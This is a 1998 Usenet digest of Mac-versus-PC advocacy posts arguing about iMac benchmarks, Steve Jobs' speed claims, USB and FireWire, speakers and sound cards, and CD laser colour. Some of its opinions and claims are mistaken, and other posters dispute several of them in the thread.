References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <6r7cfp$4k1$1@nnrp1.dejanews.com> <joe.ragosta-1608981709310001@elk59.dol.net> <6ra197$chv$1@nnrp1.dejanews.com> <macghod-1708982246120001@sdn-ar-002casbarp233.dialsprint.net>
NNTP-Posting-Date: 18 Aug 1998 18:02:54 GMT
Steve Sullivan wrote in message ...
>I wonder, since byte gets its total by averaging the index of each test, I
>wonder what the int score would be if you excluded the bitfield test and
>then averaged?
Barely any different. One single score way higher than the others makes
little difference on the way they compute the total score.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 11:00:58 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1808981100590001@sf-usr1-26-154.dialup.slip.net>
References: <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <35d9766a.23046729@news.calweb.com>
In article <35d9766a.23046729@news.calweb.com>,
hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
> On the other hand, if the Mac is so great for people who don't know
> anything about computers, tell me why both my parents have unstable
> Macs after all the software and other junk they've added? Answer:
> Because you DO have to know something about computers to keep Macs
> running well also. You can use a Mac and not know anything about
> computers, but that doesn't mean its going to run optimally.
Nobody ever said that Macs don't require knowledge. In fact, to know
Macs well is just as involved of a learning procedure as is knowing
PCs well. Its just that Macs generally have simpler problems which
GENERALLY respond to some fairly basic troubleshooting techniques.
That's why its not at all unusual for large Mac sites to have only one
or two IS people as opposed to dozens for sites with similar numbers
of PCs. Its just a fact, PCs break more often than Macs, they break
more catastrophically, and they are harder to troubleshoot. All of the
computer studies ever made show conclusively that Macs have a
lower cost of ownership. Even Intel says that their Macs costs them
less than 2/3 of what their on-site PCs cost to administer on a
computer by computer basis.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Date: Tue, 18 Aug 1998 11:08:17 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu>
In article <6racqh$its$2@walter.cs.umd.edu>, seanl@cs.umd.edu (Sean Luke) wrote:
> Eric Dew (edew@netcom.com) wrote:
> : Joe Ragosta writes:
> : >I used to laugh at all the CD players advertising their specs. They'd
> : >fight over whether 20-20k +/- 0.5 db was better than 20-20k +/- 0.7 db. At
> : >that point, it doesn't matter. Unless you've spent $10,000 on speakers,
> : >the limiting factor is going to be your speakers.
>
> : Or, they're forgetting to buy $75/ft speaker cables or the $3000 pre-amp.
>
> Most studios have two pairs of speakers: big huge ones in the back that
> boom a lot and impress the bigwigs when they want to hear what they paid
> for, and small, almost consumer-grade, near field studio monitors that are
> still reasonably flat but are closer to their intended audience. These
> monitors cost between $250 and $1000, depending on the model. The most
> common are Yamaha NS10s (but getting up in age now), but there are tons of
> JBLs, Tascams, etc. out there. If you want to hear sound as the engineers
> had arranged it, that's what you buy. I's what *they* used to define the
> sound to begin with. And I guarantee you'll hate it -- not "interesting
> enough". All $10,000 speakers _really_ do is distort the high and low end
> frequency levels to make the sound sound more "exciting".
Bullshit. All speakers are flawed. Cheap ones sound like speakers. Expensive
ones sound like music. To the extent that they sound like music, and in which
areas of reproduction determine their price point and audience. You listen to
a pair of Magnaplanar MG-20's ($9000/pr) or a pair of Wilson Audio Watt/
Puppy's ($12000/pr) with the proper electronics and tell me that they are
just distorting things to make them sound more exciting. You shouldn't make
judgements about things you know don't know anything about.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 11:12:14 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1808981112150001@sf-usr1-26-154.dialup.slip.net>
References: <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule> <joe.ragosta-1408981927480001@elk72.dol.net> <35db7947.23779152@news.calweb.com>
In article <35db7947.23779152@news.calweb.com>,
hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
> On Fri, 14 Aug 1998 19:27:47 -0400, joe.ragosta@dol.net (Joe Ragosta)
> wrote:
>
> >
> >Windows, OTOH, is only good enough if you've never used an OS with a good UI.
> >
>
> In YOUR opinion. Other people have different opinions. Some of us
> even state that our opinions are just that, instead of passing them
> off as FACTS.
>
> You might tell me that you think your Geo Metro is the greatest car on
> the face of the planet. You might say, "Ford trucks are only good
> enough if you've never driven a Geo." The kid down the street might
> feel the same way about his jacked up Nova. Who's right? No one.
> Only hopefully they are not stupid enough to declare that their choice
> of vehicle is the way, the truth, and the life.
>
> Wish I could say the same about certain followers of the Cult of the
> Mac.
>
> In 20 years, chances are no one will care about either Macs or PC's as
> we know them today.
Unless, of course, Bill Gates gets his way, then the Windows you use
20 years down the road will be just as lame as it is today. Because,
you see, Billy boy doesn't care about giving you quality, he just cares
about winning. When he has truly won, Windows development will
stop. Momopolies are like that, you know.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 11:26:44 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu>
In article <35d8f8dc.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Ian Stirling
<000035D8F15C.NO_UCE@mauve.demon.co.uk> wrote:
>
> > DO NOT DO THIS!!!!!!!!!
>
> > Your eye is vastly less sensitive to IR than to visible, hence an apparently
> > dim light may actually be quite bright, and cause eye damage.
>
> You cannot see IR at all. It's not dim, it's invisible.
>
> > It IS infra-red.
>
> No, it's not. It's visible red.
>
> > Do not look into laser beam with remaining eye.
>
> You'd have to look directly into it - lasers travel straight. You
> can see the red dot of the laser beam on the lens, without
> looking straight into the beam's path.
But is the beam ITSELF visible red? It is possible that the laser
LED itself produces some red light INSIDE the laser diode, but
its the color of the laser beam itself that concerns us. If it is red,
then you would see a slim column of red light emitting from the
laser diode and striking the disc. (as in "Goldfinger" - "No Meester
Bond, I expect you to DIE!"). This would be visible from the side. No
visible red laser beam, then its not a red laser.
George Graves
>
>
From: no.damned.spam@this.address (Wayne C. Morris)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: Tue, 18 Aug 1998 13:27:54 -0500
Organization: Pangea.CA, Inc.
Message-ID: <1ddwnw1.zzi6nrokmzdaN@dock08-06.ner.pangea.ca>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <3655ab70.223679192@news.supernews.com> <35D7C467.4370@micron.net> <6r8jgg$m31$1@news.iswest.net> <6r8k37$mec$1@news.iswest.net>
Steven M. Scharf <scharf@grin.net> wrote:
> However observer that even if all the USB bandwidth were used for just a
> HiFD drive, the USB interface would still be too slow to keep up with the
> drive. USB is simply not designed for high speed peripherals like disk
> drives
Did you bother to do any research before forming your opinion?
Standard SCSI ZIP drives like the one I own are advertised as having a
maximum data transfer speed of 1.4MBytes/sec., roughly the same as USB.
The parallel port ZIP drives used by many PC owners are even slower.
I have two internal hard drives, which I timed using a benchmark
utility. The original drive maxes out at 3.5MBytes/sec. My new drive,
which La Cie advertises as having a maximum transfer speed of
20MBytes/sec., actually maxes out at only 4MBytes/sec -- limited, no
doubt, by the speed of the standard SCSI bus in my Mac.
USB may be slow compared to the current generation of hard drives, but
not too slow for practical use.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 18 Aug 1998 18:34:16 GMT
Organization: University of California at San Diego
Message-ID: <slrn6tji97.8tb.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu>
On 18 Aug 98 03:45:32 GMT, Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
:In comp.sys.next.advocacy Ian Stirling <000035D8F15C.NO_UCE@mauve.demon.co.uk> wrote:
:
:> DO NOT DO THIS!!!!!!!!!
:
:> Your eye is vastly less sensitive to IR than to visible, hence an apparently
:> dim light may actually be quite bright, and cause eye damage.
:
:You cannot see IR at all. It's not dim, it's invisible.
:
:> It IS infra-red.
:
:No, it's not. It's visible red.
:
:> Do not look into laser beam with remaining eye.
:
:You'd have to look directly into it - lasers travel straight.
Unless there's a lens. Or the lasers come from semiconductor diodes
which aren't particularly well collimated to begin with.
There's nothing magic about lasers that makes them a straight single
beam---just that many interesting applications are possible when they
are collimated---with conventional optics---into straight beams with
high intensities.
The atomic physics doesn't know a straight beam from a hole in its band
gap. Give it any cavity eigenfunction and it's happy.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
Date: Tue, 18 Aug 1998 12:51:59 -0600
From: tonywong@_no_spam_compusmart.ab.ca (Tony Wong)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <tonywong-1808981251590001@remote410.compusmart.ab.ca>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net>
In article <6rc930$fai$1@ins8.netins.net>, ajg@yuno.com (Anna J. Gershwin)
wrote:
>At least the Mac is a superior product, even when it came out the Mac had
>better graphics than the IBM (CGA adapters were limited to only 640x480
>in monochrome mode, the Mac was better). Better software, and hardware. Didn't
>Apple invent SCSI, ethernet and the GUI? Now they have invented FireWire, the
>successor to SCSI and include that along with 100MB Ethernet on all the new
>Macs. It is too bad they have to play the game and announce products before
>they exist to compete in the marketplace but at least Apple's products are
>worth waiting for and are always superior to anything on the market, years
>ahead of anyone else - so when they finally ship, they are still ahead of
>everyone else.
>
>Anna
Just a few points. Other than Firewire, which Apple codeveloped with Texas
Instruments (I think), Apple did not invent SCSI, Ethernet or the GUI.
They did popularize those technologies for Personal Computers. They were
all taken from workstation class computers and adapted for Apple's own
needs. And Firewire, no matter how glamorous right now, doesn't really
have a niche outside Digital Video. The current implementation of 200Mbps
is still too slow to compete with Ultra SCSI or FC-AL. When it hits
800Mbps (and perhaps higher) then it may replace SCSI and/or Ethernet.
Apple has acknowledged that the Wintel world has won the mass production
war and now Apple is playing smart by using those standard components that
you and I don't normally see when we use our Macs. Witness IDE (v. SCSI),
10 base-T ethernet (v. AAUI), PCI (v. Nubus), USB (v. ADB), and even now
CHRP style ROMless (as much as possible) macs (and iMac) to take advantage
of stock components. The war over who has the fastest or best technology
is only fought on the CPU level now, and only subsystems which make it to
the mass production point are valid for inclusion onto Macs now.
Just MHO,
Tony
--
remove no spam to reply...
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 11:13:40 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1808981113400001@sf-usr1-26-154.dialup.slip.net>
References: <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <id_est-1308981118340001@192.168.1.3> <gmgraves-1308980931320001@sf-usr1-51-179.dialup.slip.net> <paul_lucente-ya02408000R1308981433530001@merck.com> <6qvvf4$cbg$1@nnrp1.dejanews.com> <35df7da9.24901085@news.calweb.com>
In article <35df7da9.24901085@news.calweb.com>,
hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
> On Fri, 14 Aug 1998 00:13:24 GMT, quinlan@intergate.bc.ca wrote:
>
> >
> >This is an excellent example. If your device is identified as either a
> >joystick or mouse, the device mill be handled using Apple's default mouse
> >service routine. This routine only handles relative position movement and a
> >single button but it still works.
> >
>
> That's nice... windows 95 and 98 do the same thing. It may detect a
> modem as some generic thing. It'll work, but not as well as if you
> tell it what your modem really is. Same with a graphics card, or
> whatever.
>
> I fail to be impressed by something that I see as normal.
Except that it isn't. If you don't have the right driver for a PNP
WinModem,it won't work AT ALL. Quite a different thing altogether.
George Graves
From: scholl@callisto.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Date: 18 Aug 1998 15:15:52 -0400
Organization: University at Buffalo
Message-ID: <6rcjt8$3hv$1@callisto.acsu.buffalo.edu>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net>
NNTP-Posting-User: scholl
George Graves (gmgraves@slip.net) wrote:
: But is the beam ITSELF visible red? It is possible that the laser
: LED itself produces some red light INSIDE the laser diode, but
: its the color of the laser beam itself that concerns us. If it is red,
: then you would see a slim column of red light emitting from the
: laser diode and striking the disc. (as in "Goldfinger" - "No Meester
: Bond, I expect you to DIE!"). This would be visible from the side. No
: visible red laser beam, then its not a red laser.
i believe lasers are pretty much visible light by definitiion... someone
can correct me if i'm wrong/ there might be other types of lasers.
anyways, even w/ a visible light laser, you wouldn't be able to see the
beam itself unless there was something in the air (dust, smoke, water
vapor, etc) diffracting it.
-ed
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Tue, 18 Aug 1998 12:15:55 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <Exw6qK.I4D.0.queen@torfree.net>, da728@torfree.net (Karl
Knechtel) wrote:
> Only slow relative to the other G3s. It still whoops PII @$$. And you haven't
> even addressed your (implied) claim that the iMac is not faster than the P2-
> 400 (I personally don't believe that, but you still haven't refuted Jobs'
> claim.)
According to photoshop, quake, word, excel, mathematica...the imac is no
faster than a p2 300 (no, I dont have any imac tests, but the imac has
been tested against a g3 233).
And for every benchmark that says a imac is faster than a p2 400, I am
sure their are AT LEAST one that shows a p2 300 is faster than a imac.
1) Apple's own internal engineers made a effort to find out the truth, and
it showed a g3 266 is only about %30 faster than a p2 266.
2) Steve Jobs knows this, show he thus knows bytemark does not correspond
with reality
3) Steve Jobs is trying to say a imac is faster than a p2 400, even tho he
knows this is not true (from 1)
:.
Steve Jobs is lieing
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: Ian Stirling <000035D9B1F2.NO_UCE@mauve.demon.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 17:55:14 +0100
Organization: None.
Message-ID: <000035D9B1F2.NO_UCE@mauve.demon.co.uk>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu>
User-Agent: tin/pre-1.4-971106 (UNIX) (Linux/2.0.34 (i586))
In comp.sys.intel Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
: In comp.sys.next.advocacy Ian Stirling <000035D8F15C.NO_UCE@mauve.demon.co.uk> wrote:
:> DO NOT DO THIS!!!!!!!!!
:> Your eye is vastly less sensitive to IR than to visible, hence an apparently
:> dim light may actually be quite bright, and cause eye damage.
: You cannot see IR at all. It's not dim, it's invisible.
You can in fact see at least a little way into what is commonly accepted as
"IR" or "UV", it's just the eye is tens of thousands times less sensitive.
:> It IS infra-red.
: No, it's not. It's visible red.
:> Do not look into laser beam with remaining eye.
: You'd have to look directly into it - lasers travel straight. You
: can see the red dot of the laser beam on the lens, without
: looking straight into the beam's path.
But it's still a much brighter spot, than you think it is, causing greater
heating of the retina.
This has been done to death in sci.optics.
--
See http://www.mauve.demon.co.uk/ |Linux PDA, cheap electronics/PC bits sale.
See_header,_for_UCE_policy___________|_____________________________Ian_Stirling.
My inner child can beat up your inner child. Alex Greenbank
From: Ian Stirling <000035D9B361.NO_UCE@mauve.demon.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 18:01:21 +0100
Organization: None.
Message-ID: <000035D9B361.NO_UCE@mauve.demon.co.uk>
References: <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <35da7867.23555971@news.calweb.com>
User-Agent: tin/pre-1.4-971106 (UNIX) (Linux/2.0.34 (i586))
In comp.sys.intel Scott Willsey <hangtown_nospam@thelostweb.com> wrote:
: On Fri, 14 Aug 1998 04:54:59 GMT, nospam@devnull.com (Hath) wrote:
:>
:>nice but you don't even HAVE to buy a 'sound card' for the mac, stereo
:>CD-quality sound is built in. Ever since the MAC II.
:>
: I challenge you to go buy any PC on the market now that is not a
: bargain basement model and NOT find a pre-configured sound card
: inside, or a cd-rom, etc, etc...
: The nice thing about having it on a card is that you can choose what
: you want. Do you want a sound blaster? Fine. Do you want a Turtle
: Beach? Fine. There's something for you regardless of your taste.
Some of those cards barely justify the name.
Some of the El-Cheapo ones, at least in the past have distortions not measured
in fractional percent, but in tens of percent!
My AWE32 gets 65db SNR or so, (measured with scope, on speaker leads),
however, the noise of the soundcard is totally masked by the noise of the
computer, unless extrordinary lengths are taken (moving it to another room,
or sitting 10cm from the speakers)
Oh for decent sound cards that list the distortion and noise specs on the
box.
For a usefull way to measure a cards response, connect line-in, to line-out,
and get one of the sound programs (shareware) that will let you do FFT's to
measure the resulting sound.
Most forms of distortion can be caught like this.
--
See http://www.mauve.demon.co.uk/ |Linux PDA, cheap electronics/PC bits sale.
See_header,_for_UCE_policy___________|_____________________________Ian_Stirling.
"Looks like his brainwaves crash a little short of the beach..." Duckman.
From: %DIE_SPAMMER_DIE%bvl@ibm.net (Brian P. Van Lieu)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 18 Aug 1998 20:05:31 GMT
Message-ID: <35d9d79e.27073939@news1.ibm.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net>
Organization: IBM.NET
On 18 Aug 1998 16:11:12 GMT, ajg@yuno.com (Anna J. Gershwin) wrote:
>In article <6rc6lt$g90$1@news2.xs4all.nl>, emiel@avd.nl says...
>>
>>Tony Wong wrote:
>>
>>> Sorry, if you want the URL, for Monday the 17th, "Intel works to cool down
>>> Xeon," by Michael Kanellos,
>>>
>>> http://www.news.com/News/Item/0,4,25304,00.html?owv
>>
>>*big grin*
>>
>>Hehehe sounds almost like Microsoft's tactics...
>>
>>Delay... delay... delay... delay... :-)
>
>Unlike Copland...Rhapsody...OSX... :-(
>
>Comes from announcing products 2 years in advance of when they are going to
>ship and expecting absolutely no problems in producing them.
Take of the Apple blinders...it comes from a whole bunch of mistakes
from management on down. Many PC companies fall victim to this, not
just Apple.
>
>At least the Mac is a superior product, even when it came out the Mac had
>better graphics than the IBM (CGA adapters were limited to only 640x480
>in monochrome mode, the Mac was better). Better software, and hardware. Didn't
>Apple invent SCSI, ethernet and the GUI? Now they have invented FireWire, the
Um, no, no, and no.
GUI? Try Xerox PARC for doing some of the founding research (I don't
think *anyone* ever gave them royalties but I could be wrong on that)
Ethernet: Bob Metcalf was part of that team, then went on to form
3Com.
SCSI: forget who the main backers were on that one...early 80's had
some pseudo-standards (perhaps western digital. SCSI faq
should have the details on the usenet)
Even Firewire is a bit of a stretch though they actually participated
on the design teams (though how much who knows...and after Adaptec
announced they were pulling back, where are all these fireware
devices, and why won't Apple sell their firewire card directly instead
of only with the purchase of a new Mac...sounds pretty silly to me)
>successor to SCSI and include that along with 100MB Ethernet on all the new
Yup..I can buy a whole lot of those Firewire devices right now...and
cards from all sorts of manufacturers.
>Macs. It is too bad they have to play the game and announce products before
>they exist to compete in the marketplace but at least Apple's products are
Apple flows FUD with the best of them...they are no different.
>worth waiting for and are always superior to anything on the market, years
>ahead of anyone else - so when they finally ship, they are still ahead of
>everyone else.
Ha ha...that is pretty funny. Always, huh. Years ahead, or years
behind? I can think of quite a few Macs that were crap. Not
upgradeable. Limited by video ram, etc (to this day, I can only put in
a 2x CDROM in that powermac 6100 and expect to boot off it). There are
quite a few KLUDGES in the Mac architecture, don't kid yourself.
For what they are worth, they are excellent machines for some tasks. I
for one was very happy to see the Imac (though they *should* have
included a USB devices such as the SuperDisk or a bootable ZIP)
Apple, however, blew it several years ago and will never regain the
marketshare they once had. Their OS today is behind, slow, and kludgy.
You can sing OS X until you are blue in the face...its no different
then MS with NT 5 with the sole exeption that NT 4 is actually here
and working :)
- b
Brian P. Van Lieu
LU Ultimate Frisbee --- GOHO! AXP-Phi Mu Chapter
95 Frost GSR Coupe - Philly Region SCCA GStock #88
Visit the Integra homepage at http://integra.vtec.net
-----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GE/CS/MU d++(---) s+:+ a24 C+++ UL++ P++ L++ E W+ N++
w--- O++ M-- V-- t 5 X+ b++ DI++ G+ e++ h* r++ y*
------END GEEK CODE BLOCK------
#define disclaimer
My opinions are mine....
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <rbarris-ya023280001808981330250001@206.82.216.1>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <joe.ragosta-1708981315410001@0.0.0.0> <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
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Content-transfer-encoding: 8bit
Date: Tue, 18 Aug 1998 13:30:25 -0700
NNTP-Posting-Date: Tue, 18 Aug 1998 13:28:06 PDT
In article <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <joe.ragosta-1708981315410001@0.0.0.0>, joe.ragosta@dol.net
> (Joe Ragosta) wrote:
>
> > In article <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net>,
> > gmgraves@slip.net (George Graves) wrote:
> >
> > > In article <joe.ragosta-1708980656280001@elk81.dol.net>,
> > > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > >
> > > > But that's my point. If the error correction measurements are unchanged,
> > > > the color couldn't possibly make a difference. If the laser sends
> > > > 010011010110101.... to the DAC, it doesn't matter one whit whether those
> > > > bits per picked up with a red laser, with a filtered laser, or with a
